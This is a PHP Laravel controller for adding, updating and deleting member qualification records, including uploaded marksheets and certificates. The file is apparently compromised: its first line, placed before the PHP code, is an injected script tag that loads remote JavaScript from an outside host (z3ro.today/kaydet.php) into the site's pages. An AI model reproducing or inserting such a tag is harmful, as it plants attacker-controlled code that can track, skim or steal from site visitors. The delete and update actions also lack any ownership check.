<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\MemberInformation;

use App\Http\Controllers\Controller;
use App\Models\Members;
use App\Models\Qualification;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class QualificationController extends Controller
{
    public function addqualification()
    {
        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.addqualification', compact('memberInfo'));
    }

    public function uploadqualification(Request $request)
    {
        // Validate the request
        $validator = Validator::make($request->all(), [
            'sanstha' => 'required',
            'year' => 'required',
            'shreni' => 'required',
            'level' => 'required',
            'marksheet' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240',
            'character_certificate' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240',
            'provisional_certificate' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240',
        ]);

        if ($validator->fails()) {
            return back()
                ->withErrors($validator)
                ->withInput();
        }

        $username = auth()->user()->name;
        $marksheetImg = null;
        $characterCertifImg = null;
        $provisionalCertifImg = null;

        // storing marksheet
        if ($request->hasFile('marksheet')) {
            $documents = $request->file('marksheet');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-mark-sheet-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $marksheetImg = $documents->storeAs('mark-sheet', $docsName, ['disk' => 'public']);
        }

        // storing character-certificate
        if ($request->hasFile('character_certificate')) {
            $documents = $request->file('character_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-character-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $characterCertifImg = $documents->storeAs('character-certificate', $docsName, ['disk' => 'public']);
        }

        // storing provisional certificate
        if ($request->hasFile('provisional_certificate')) {
            $documents = $request->file('provisional_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-provisional-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $provisionalCertifImg = $documents->storeAs('provisional-certificate', $docsName, ['disk' => 'public']);
        }

        $data = new Qualification();
        $data->member_id = session('member_id');
        $data->sanstha = $request->sanstha;
        $data->year = $request->year;
        $data->shreni = $request->shreni;
        $data->level = $request->level;
        $data->remarks = $request->remarks;
        $data->marksheet = $marksheetImg;
        $data->character_certificate = $characterCertifImg;
        $data->provisional_certificate = $provisionalCertifImg;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('success', 'Qualification added successfully!');
    }

    public function deletequalification($id)
    {
        $qualificationName = Qualification::find($id);
        
        if (!$qualificationName) {
            return back()->withError('Qualification not found!');
        }
        
        $qualificationName->delete();
        return redirect()->back()->with('message', 'Qualification data deleted successfully');
    }

    public function updatequalificationview($id)
    {
        $qualificationName = Qualification::find($id);

        if (!$qualificationName) {
            return back()->withError('Qualification not found!');
        }

        $memberInfo = Members::where('id', session('member_id'))->first();

        if (!$memberInfo) {
            return back()->withError('Invalid parameter or Member not found!');
        }

        return view('member-details.updatequalification', compact('qualificationName', 'memberInfo'));
    }

    public function updatequalification(Request $request, $id)
    {
        $data = Qualification::find($id);
        
        if (!$data) {
            return back()->withError('Qualification not found!');
        }

        // Validate the request
        $validator = Validator::make($request->all(), [
            'sanstha' => 'required',
            'year' => 'required',
            'shreni' => 'required',
            'level' => 'required',
            'marksheet' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240', // 10MB max
            'character_certificate' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240',
            'provisional_certificate' => 'nullable|file|mimes:png,jpg,jpeg,docx,pdf|max:10240',
        ]);

        if ($validator->fails()) {
            return back()
                ->withErrors($validator)
                ->withInput();
        }

        $username = auth()->user()->name;

        // storing marksheet
        if ($request->hasFile('marksheet')) {
            $documents = $request->file('marksheet');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-mark-sheet-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $marksheetImg = $documents->storeAs('mark-sheet', $docsName, ['disk' => 'public']);
        } else {
            $marksheetImg = $data->marksheet;
        }

        // storing character-certificate
        if ($request->hasFile('character_certificate')) {
            $documents = $request->file('character_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-character-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $characterCertifImg = $documents->storeAs('character-certificate', $docsName, ['disk' => 'public']);
        } else {
            $characterCertifImg = $data->character_certificate;
        }

        // storing provisional certificate
        if ($request->hasFile('provisional_certificate')) {
            $documents = $request->file('provisional_certificate');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-provisional-certificate-' . RandomNum(4) . '-' . $username . '-' . time() . '.' . $docsExt;

            $provisionalCertifImg = $documents->storeAs('provisional-certificate', $docsName, ['disk' => 'public']);
        } else {
            $provisionalCertifImg = $data->provisional_certificate;
        }

        $data->member_id = session('member_id');
        $data->sanstha = $request->sanstha;
        $data->year = $request->year;
        $data->level = $request->level;
        $data->shreni = $request->shreni;
        $data->remarks = $request->remarks;
        $data->marksheet = $marksheetImg;
        $data->character_certificate = $characterCertifImg;
        $data->provisional_certificate = $provisionalCertifImg;

        $data->save();

        return redirect()->route('member.details', session('member_id'))->with('success', 'Qualification updated successfully!');
    }
}